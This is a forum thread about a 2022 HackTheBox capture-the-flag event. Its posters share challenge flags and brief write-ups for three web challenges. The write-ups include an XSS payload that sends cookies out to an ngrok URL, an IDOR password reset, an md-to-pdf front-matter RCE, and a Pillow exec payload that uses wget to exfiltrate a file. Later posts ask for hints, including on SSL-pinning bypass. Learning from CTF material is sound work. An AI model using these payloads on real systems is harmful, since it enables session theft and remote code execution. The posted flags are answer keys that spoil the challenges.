I have "Misc > Matrioshka Brain" with a short write-up. DM me.

(May 16, 2022, 05:11 PM)HungryGull Wrote:

(May 16, 2022, 04:54 PM)si1 Wrote:

(May 16, 2022, 04:50 PM)HungryGull Wrote: Web - Kryptos Support
HTB{x55_4nd_id0rs_ar3_fun!!}

Web - BlinkerFluids
HTB{bl1nk3r_flu1d_f0r_int3rG4l4c7iC_tr4v3ls}

Web - Amidst Us
HTB{i_slept_my_way_to_rce}

writeup plz

Kryptos Support
python3 -m http.server 80
ngrok http 80
Send:
<script>new Image().src="https:// YOUR_NGROK_URL /?" + document.cookie;</script>
Replace Cookie
Open /settings
Burp Suite:
POST /api/users/update HTTP/1.1
...
<SNIP>
...
{"password":"newpassword","uid":"1"}
Open /login
admin : newpassword

BlinkerFluids
https:// github.com/simonhaenisch/md-to-pdf/issues/99
Burp Suite:
POST /api/invoice/add HTTP/1.1
...
<SNIP>
...
{"markdown_content":"---js
((require('child_process')).execSync('cat ../flag.txt > static/test.txt'))
---RCE"}
Open /static/test.txt

Amidst Us
https:// cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22817
https:// github.com/advisories/GHSA-8vj2-vxx3-667w
python3 -m http.server 80
ngrok http 80
Use Burp Suite:
..."background":["exec('import os;os.system(\"TEMP=$(cat ../flag.txt);wget https:// YOUR_NGROK_URL /?result=${TEMP}\")')",255,255]...

Thank you

---

Can someone share hints for Mutation Lab cookie and Intergalactic Post , please

Can anyone who solved the Android-in-the-Middle share the steps?

Any new hints or writeups?

Can anyone who solved the Android-in-the-Middle share the steps????

(May 17, 2022, 10:15 AM)mrjxsw Wrote: Can anyone who solved the Android-in-the-Middle share the steps????

google how to bypass ssl pinning

need help with Intergalactic Post

(May 17, 2022, 02:03 PM)xemyll Wrote: need help with Intergalactic Post

Same , can someone share a writeup , it sucks to get struck for hours and got no way

(May 17, 2022, 11:59 AM)fa23fsed23 Wrote:

(May 17, 2022, 10:15 AM)mrjxsw Wrote: Can anyone who solved the Android-in-the-Middle share the steps????

google how to bypass ssl pinning

How to capture the request? do we need Frida ?

(May 17, 2022, 02:42 PM)testing Wrote:

(May 17, 2022, 11:59 AM)fa23fsed23 Wrote:

(May 17, 2022, 10:15 AM)mrjxsw Wrote: Can anyone who solved the Android-in-the-Middle share the steps????

google how to bypass ssl pinning

How to capture the request? do we need Frida ?

frida, zap or burp all will work